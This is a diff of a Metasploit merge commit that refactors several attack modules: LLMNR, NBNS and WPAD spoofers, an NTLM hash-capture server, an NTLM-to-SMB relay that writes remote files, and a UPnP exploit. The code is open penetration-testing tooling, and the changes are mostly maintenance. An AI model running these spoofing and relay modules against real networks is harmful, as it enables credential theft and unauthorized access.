Land #2464, fixes for llmnr_response and friends
Fixed conflict in lib/msf/core/exploit/http/server.rb.bug/bundler_fix
commit
ff9cb481fb
|
@ -48,7 +48,7 @@ module Msf
|
|||
begin
|
||||
require 'pcaprub'
|
||||
@pcaprub_loaded = true
|
||||
rescue ::Exception => e
|
||||
rescue ::LoadError => e
|
||||
@pcaprub_loaded = false
|
||||
@pcaprub_error = e
|
||||
end
|
||||
|
@ -56,7 +56,7 @@ module Msf
|
|||
begin
|
||||
require 'network_interface'
|
||||
@network_interface_loaded = true
|
||||
rescue ::Exception => e
|
||||
rescue ::LoadError => e
|
||||
@network_interface_loaded = false
|
||||
@network_interface_error = e
|
||||
end
|
||||
|
@ -97,7 +97,7 @@ module Msf
|
|||
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
|
||||
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
|
||||
fil = opts['FILTER'] || datastore['FILTER']
|
||||
arp = opts['ARPCAP'] || true
|
||||
do_arp = (opts['ARPCAP'] == false) ? false : true
|
||||
|
||||
# Look for a PCAP file
|
||||
cap = datastore['PCAPFILE'] || ''
|
||||
|
@ -115,7 +115,7 @@ module Msf
|
|||
end
|
||||
|
||||
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
||||
if arp
|
||||
if do_arp
|
||||
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
||||
preamble = datastore['UDP_SECRET'].to_i
|
||||
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
||||
|
@ -125,7 +125,7 @@ module Msf
|
|||
|
||||
if (not self.capture)
|
||||
raise RuntimeError, "Could not start the capture process"
|
||||
elsif (arp and !self.arp_capture and cap.empty?)
|
||||
elsif (do_arp and !self.arp_capture and cap.empty?)
|
||||
raise RuntimeError, "Could not start the ARP capture process"
|
||||
end
|
||||
|
||||
|
@ -141,7 +141,6 @@ module Msf
|
|||
|
||||
def capture_extract_ies(raw)
|
||||
set = {}
|
||||
ret = 0
|
||||
idx = 0
|
||||
len = 0
|
||||
|
||||
|
@ -279,7 +278,7 @@ module Msf
|
|||
# This ascertains the correct Ethernet addresses one should use to
|
||||
# ensure injected IP packets actually get where they are going, and
|
||||
# manages the self.arp_cache hash. It always uses self.arp_capture
|
||||
# do inject and capture packets, and will always first fire off a
|
||||
# to inject and capture packets, and will always first fire off a
|
||||
# UDP packet using the regular socket to learn the source host's
|
||||
# and gateway's mac addresses.
|
||||
def lookup_eth(addr=nil, iface=nil)
|
||||
|
@ -309,7 +308,15 @@ module Msf
|
|||
dst_port = rand(30000)+1024
|
||||
preamble = [datastore['UDP_SECRET']].pack("N")
|
||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
||||
|
||||
begin
|
||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
||||
rescue Errno::ENETUNREACH
|
||||
# This happens on networks with no gatway. We'll need to use a
|
||||
# fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
|
@ -415,7 +422,7 @@ module Msf
|
|||
|
||||
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
||||
|
||||
#Netifaces code
|
||||
# Netifaces code
|
||||
|
||||
def netifaces_implemented?
|
||||
@network_interface_loaded and
|
||||
|
@ -486,8 +493,8 @@ module Msf
|
|||
check_pcaprub_loaded
|
||||
dev = get_interface_guid(dev)
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
end
|
||||
|
@ -496,8 +503,8 @@ module Msf
|
|||
check_pcaprub_loaded
|
||||
dev = get_interface_guid(dev)
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
end
|
||||
|
|
|
@ -700,7 +700,7 @@ protected
|
|||
# Returns a string containing the encrypted string and a loader
|
||||
#
|
||||
def encrypt_js(javascript, key)
|
||||
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||||
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.uri}'...")
|
||||
vprint_status("Request '#{request.uri}'")
|
||||
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
|
@ -66,10 +66,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
if(!request.headers['Authorization'])
|
||||
vprint_status("401 '#{request.uri}'")
|
||||
response = create_response(401, "Unauthorized")
|
||||
response.headers['WWW-Authenticate'] = "NTLM"
|
||||
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
||||
response.body =
|
||||
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
||||
|
||||
cli.send_response(response)
|
||||
else
|
||||
vprint_status("Continuing auth '#{request.uri}'")
|
||||
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
||||
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
||||
if(method != "NTLM")
|
||||
|
@ -142,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nt_len = ntlm_hash.length
|
||||
|
||||
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => lm_hash,
|
||||
:nt_hash => ntlm_hash
|
||||
}
|
||||
|
@ -153,11 +159,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
# a ntlmv2 response
|
||||
elsif nt_len > 48 #lmv2/ntlmv2
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => lm_hash[0, 32],
|
||||
:lm_cli_challenge => lm_hash[32, 16],
|
||||
:nt_hash => ntlm_hash[0, 32],
|
||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => lm_hash[0, 32],
|
||||
:lm_cli_challenge => lm_hash[32, 16],
|
||||
:nt_hash => ntlm_hash[0, 32],
|
||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||
}
|
||||
elsif nt_len == 0
|
||||
print_status("Empty hash from #{host} captured, ignoring ... ")
|
||||
|
@ -335,7 +341,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:active => true
|
||||
)
|
||||
#if(datastore['LOGFILE'])
|
||||
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
||||
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
||||
#end
|
||||
|
||||
if(datastore['CAINPWFILE'] and user)
|
||||
|
|
|
@ -89,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
else
|
||||
datastore['REQUEST_IP'] = cli.peerhost
|
||||
cli.keepalive = true;
|
||||
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
|
@ -235,10 +234,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
|
||||
raise ArgumentError
|
||||
elsif datastore['PUTDATA'] != nil
|
||||
datastore['FINALPUTDATA'] = datastore['PUTDATA']
|
||||
@finalputdata = datastore['PUTDATA']
|
||||
elsif datastore['FILEPUTDATA'] != nil
|
||||
f = File.open(datastore['FILEPUTDATA'], "rb")
|
||||
datastore['FINALPUTDATA'] = f.read
|
||||
@finalputdata = f.read
|
||||
f.close
|
||||
end
|
||||
|
||||
|
@ -272,7 +271,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if (method == 'POST')
|
||||
theaders << 'Content-Length: ' <<
|
||||
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
|
||||
(@finalputdata.length + 4).to_s()<< "\r\n"
|
||||
end
|
||||
|
||||
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
||||
|
@ -295,10 +294,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => method,
|
||||
'version' => '1.1',
|
||||
}
|
||||
if (datastore['FINALPUTDATA'] != nil)
|
||||
if (@finalputdata != nil)
|
||||
#we need to get rid of an extra "\r\n"
|
||||
theaders = theaders[0..-3]
|
||||
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
|
||||
opts['data'] = @finalputdata << "\r\n\r\n"
|
||||
end
|
||||
opts['SSL'] = true if datastore["RSSL"]
|
||||
opts['raw_headers'] = theaders
|
||||
|
@ -324,12 +323,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#relay ntlm type1 message for SMB
|
||||
def smb_relay_toservert1(hash)
|
||||
rsock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => datastore['RHOST'],
|
||||
'PeerPort' => datastore['RPORT'],
|
||||
'Timeout' => 3,
|
||||
'Context' =>
|
||||
'PeerHost' => datastore['RHOST'],
|
||||
'PeerPort' => datastore['RPORT'],
|
||||
'Timeout' => 3,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'Msf' => framework,
|
||||
'MsfExploit'=> self,
|
||||
}
|
||||
)
|
||||
|
@ -354,7 +353,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
#lazy ntlmsspblob extraction
|
||||
ntlmsspblob = 'NTLMSSP' <<
|
||||
ntlmsspblob = 'NTLMSSP' <<
|
||||
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
|
||||
"\x00\x00"
|
||||
rescue ::Exception => e
|
||||
|
@ -367,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
#relay ntlm type3 SMB message
|
||||
def smb_relay_toservert3(hash, ser_sock)
|
||||
arg = get_hash_info(hash)
|
||||
#arg = get_hash_info(hash)
|
||||
dhash = Rex::Text.decode_base64(hash)
|
||||
|
||||
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
|
||||
|
@ -424,7 +423,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ser_sock.client.tree_connect(share)
|
||||
|
||||
fd = ser_sock.open("\\#{path}", 'rwct')
|
||||
fd << datastore['FINALPUTDATA']
|
||||
fd << @finalputdata
|
||||
fd.close
|
||||
|
||||
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
|
||||
|
@ -536,7 +535,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
response = dcerpc.call(0x0c, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
#svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
|
@ -627,7 +626,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nt_len = ntlm_hash.length
|
||||
|
||||
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => lm_hash,
|
||||
:nt_hash => ntlm_hash
|
||||
}
|
||||
|
@ -638,11 +637,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
#a ntlmv2 response
|
||||
elsif nt_len > 48 #lmv2/ntlmv2
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => lm_hash[0, 32],
|
||||
:lm_cli_challenge => lm_hash[32, 16],
|
||||
:nt_hash => ntlm_hash[0, 32],
|
||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => lm_hash[0, 32],
|
||||
:lm_cli_challenge => lm_hash[32, 16],
|
||||
:nt_hash => ntlm_hash[0, 32],
|
||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||
}
|
||||
elsif nt_len == 0
|
||||
print_status("Empty hash from #{host} captured, ignoring ... ")
|
||||
|
|
|
@ -33,7 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('TYPE', [true, 'WPAD/PAC Data File', 'DAT', ['DAT', 'PAC']]),
|
||||
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
|
||||
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
|
||||
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
|
||||
|
@ -44,15 +43,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
|
||||
def cleanup
|
||||
datastore['URIPATH'] = @previous_uri
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.method} #{request.headers['user-agent']}")
|
||||
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
|
||||
|
||||
return if request.method == "POST"
|
||||
return send_not_found(cli) if request.method == "POST"
|
||||
|
||||
html = <<-EOS
|
||||
function FindProxyForURL(url, host) {
|
||||
|
@ -65,20 +59,23 @@ function FindProxyForURL(url, host) {
|
|||
}
|
||||
EOS
|
||||
|
||||
print_status("Sending WPAD config ...")
|
||||
print_status("Sending WPAD config")
|
||||
send_response_html(cli, html,
|
||||
{
|
||||
'Content-Type' => 'application/x-ns-proxy-autoconfig'
|
||||
})
|
||||
end
|
||||
|
||||
def resource_uri
|
||||
"/wpad.dat"
|
||||
end
|
||||
|
||||
def primer
|
||||
hardcoded_uripath("/proxy.pac")
|
||||
end
|
||||
|
||||
def run
|
||||
@previous_uri = datastore['URIPATH']
|
||||
datastore['URIPATH'] = (datastore['TYPE'] == 'DAT') ? 'wpad.dat' : 'proxy.pac'
|
||||
|
||||
print_status("Serving #{datastore['URIPATH']} on port #{datastore['SRVPORT']}")
|
||||
|
||||
# This should probably be added to the Http mixin's run method
|
||||
begin
|
||||
exploit
|
||||
rescue Errno::EACCES => e
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
require 'socket'
|
||||
require 'ipaddr'
|
||||
require 'net/dns'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -16,8 +17,8 @@ attr_accessor :sock, :thread
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'LLMNR Spoofer',
|
||||
'Description' => %q{
|
||||
'Name' => 'LLMNR Spoofer',
|
||||
'Description' => %q{
|
||||
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
|
||||
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
|
||||
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
|
||||
|
@ -55,80 +56,92 @@ attr_accessor :sock, :thread
|
|||
self.sock = nil
|
||||
end
|
||||
|
||||
def dispatch_request(packet, addr)
|
||||
rhost = addr[0]
|
||||
src_port = addr[1]
|
||||
def dispatch_request(packet, rhost, src_port)
|
||||
rhost = ::IPAddr.new(rhost)
|
||||
|
||||
# Getting info from the request packet
|
||||
llmnr_transid = packet[0..1]
|
||||
llmnr_flags = packet[2..3]
|
||||
llmnr_questions = packet[4..5]
|
||||
llmnr_answerrr = packet[6..7]
|
||||
llmnr_authorityrr = packet[8..9]
|
||||
llmnr_additionalrr = packet[10..11]
|
||||
llmnr_name_length = packet[12..12]
|
||||
name_end = 13 + llmnr_name_length.unpack('C')[0].to_int
|
||||
llmnr_name = packet[13..name_end-1]
|
||||
llmnr_name_and_length = packet[12..name_end]
|
||||
llmnr_type = packet[name_end+1..name_end+2]
|
||||
llmnr_class = packet[name_end+3..name_end+4]
|
||||
|
||||
llmnr_decodedname = llmnr_name.unpack('a*')[0].to_s
|
||||
|
||||
if datastore['DEBUG']
|
||||
print_status("Received Packet from: #{rhost}:#{src_port}")
|
||||
print_status("transid: #{llmnr_transid.unpack('H4')}")
|
||||
print_status("tlags: #{llmnr_flags.unpack('B16')}")
|
||||
print_status("questions: #{llmnr_questions.unpack('n')}")
|
||||
print_status("answerrr: #{llmnr_answerrr.unpack('n')}")
|
||||
print_status("authorityrr: #{llmnr_authorityrr.unpack('n')}")
|
||||
print_status("additionalrr: #{llmnr_additionalrr.unpack('n')}")
|
||||
print_status("name length: #{llmnr_name_length.unpack('c')}")
|
||||
print_status("name: #{llmnr_name.unpack('a*')}")
|
||||
print_status("decodedname: #{llmnr_decodedname}")
|
||||
print_status("type: #{llmnr_type.unpack('n')}")
|
||||
print_status("class: #{llmnr_class.unpack('n')}")
|
||||
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
||||
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
||||
# on has an IPv6 address. Convert it to just the v4 addr
|
||||
if rhost.ipv4_mapped?
|
||||
rhost = rhost.native
|
||||
end
|
||||
|
||||
if (llmnr_decodedname =~ /#{datastore['REGEX']}/i)
|
||||
#Header
|
||||
response = llmnr_transid
|
||||
response << "\x80\x00" # Flags TODO add details
|
||||
response << "\x00\x01" # Questions = 1
|
||||
response << "\x00\x01" # Answer RRs = 1
|
||||
response << "\x00\x00" # Authority RRs = 0
|
||||
response << "\x00\x00" # Additional RRs = 0
|
||||
#Query part
|
||||
response << llmnr_name_and_length
|
||||
response << llmnr_type
|
||||
response << llmnr_class
|
||||
#Answer part
|
||||
response << llmnr_name_and_length
|
||||
response << llmnr_type
|
||||
response << llmnr_class
|
||||
response << [datastore['TTL']].pack("N") #Default 5 minutes
|
||||
response << "\x00\x04" # Datalength = 4
|
||||
response << Rex::Socket.addr_aton(datastore['SPOOFIP'])
|
||||
dns_pkt = ::Net::DNS::Packet.parse(packet)
|
||||
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
||||
|
||||
open_pcap
|
||||
# Sending UDP unicast response
|
||||
p = PacketFu::UDPPacket.new
|
||||
p.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
p.ip_daddr = rhost
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = 5355 # LLMNR UDP port
|
||||
p.udp_dport = src_port # Port used by sender
|
||||
p.payload = response
|
||||
p.recalc
|
||||
# Turn this packet into a response
|
||||
dns_pkt.header.qr = 1
|
||||
|
||||
capture_sendto(p, rhost,true)
|
||||
if should_print_reply?(llmnr_decodedname)
|
||||
print_good("#{Time.now.utc} : Reply for #{llmnr_decodedname} sent to #{rhost} with spoofed IP #{datastore['SPOOFIP']}")
|
||||
end
|
||||
close_pcap
|
||||
dns_pkt.question.each do |question|
|
||||
name = question.qName
|
||||
unless name =~ /#{datastore['REGEX']}/i
|
||||
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||
next
|
||||
end
|
||||
|
||||
if should_print_reply?(name)
|
||||
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
|
||||
end
|
||||
|
||||
# qType is not a Fixnum, so to compare it with `case` we have to
|
||||
# convert it
|
||||
case question.qType.to_i
|
||||
when ::Net::DNS::A
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => 30,
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof.to_s
|
||||
)
|
||||
when ::Net::DNS::AAAA
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => 30,
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
)
|
||||
else
|
||||
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
# If we didn't find anything we want to spoof, don't send any
|
||||
# packets
|
||||
return if dns_pkt.answer.empty?
|
||||
|
||||
udp = ::PacketFu::UDPHeader.new(
|
||||
:udp_src => 5355,
|
||||
:udp_dst => src_port,
|
||||
:body => dns_pkt.data
|
||||
)
|
||||
udp.udp_recalc
|
||||
if rhost.ipv4?
|
||||
ip_pkt = ::PacketFu::IPPacket.new(
|
||||
:ip_src => spoof.hton,
|
||||
:ip_dst => rhost.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
)
|
||||
elsif rhost.ipv6?
|
||||
ip_pkt = ::PacketFu::IPv6Packet.new(
|
||||
:ipv6_src => spoof.hton,
|
||||
:ipv6_dst => rhost.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
)
|
||||
else
|
||||
vprint_status("Packet received from #{rhost} with name #{llmnr_decodedname} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||
# Should never get here
|
||||
print_error("IP version is not 4 or 6. Failed to parse?")
|
||||
return
|
||||
end
|
||||
ip_pkt.recalc
|
||||
|
||||
open_pcap
|
||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||
close_pcap
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
|
@ -137,12 +150,11 @@ attr_accessor :sock, :thread
|
|||
wds = []
|
||||
eds = [self.sock]
|
||||
|
||||
r,w,e = ::IO.select(rds,wds,eds,0.25)
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
addr = [host,port]
|
||||
dispatch_request(packet, addr)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -166,16 +178,23 @@ attr_accessor :sock, :thread
|
|||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
|
||||
multicast_addr = "224.0.0.252" #Multicast Address for LLMNR
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||
|
||||
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton
|
||||
# The bind address here will determine which interface we receive
|
||||
# multicast packets from. If the address is INADDR_ANY, we get them
|
||||
# from all interfaces, so try to restrict if we can, but fall back
|
||||
# if we can't
|
||||
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
|
||||
|
||||
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 5355)
|
||||
'LocalPort' => 5355)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
||||
monitor_socket
|
||||
}
|
||||
|
|
|
@ -67,9 +67,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||
packet, addr = @sock.recvfrom(512)
|
||||
vprint_status("Packet Received from #{addr[3]}")
|
||||
|
||||
rhost = addr[3]
|
||||
|
||||
break if packet.length == 0
|
||||
|
||||
nbnsq_transid = packet[0..1]
|
||||
|
@ -89,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
||||
|
||||
vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...")
|
||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
|
||||
|
||||
if datastore['DEBUG']
|
||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||
|
@ -137,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
close_pcap
|
||||
|
||||
else
|
||||
vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex")
|
||||
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
|
||||
|
||||
r = udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
|
||||
1.upto(5) do
|
||||
::IO.select(nil, nil, nil, 1)
|
||||
|
@ -344,7 +344,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Generate a buffer that provides a starting point for exploit development
|
||||
def target_debug
|
||||
buffer = Rex::Text.pattern_create(2000)
|
||||
Rex::Text.pattern_create(2000)
|
||||
end
|
||||
|
||||
def stage_real_payload(cli)
|
||||
|
@ -415,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
res = nil
|
||||
1.upto(5) do
|
||||
res,addr,info = udp_sock.recvfrom(65535, 1.0)
|
||||
res,_,_ = udp_sock.recvfrom(65535, 1.0)
|
||||
break if res and res =~ /^(Server|Location)/mi
|
||||
udp_sock.sendto(msearch, rhost, rport, 0)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue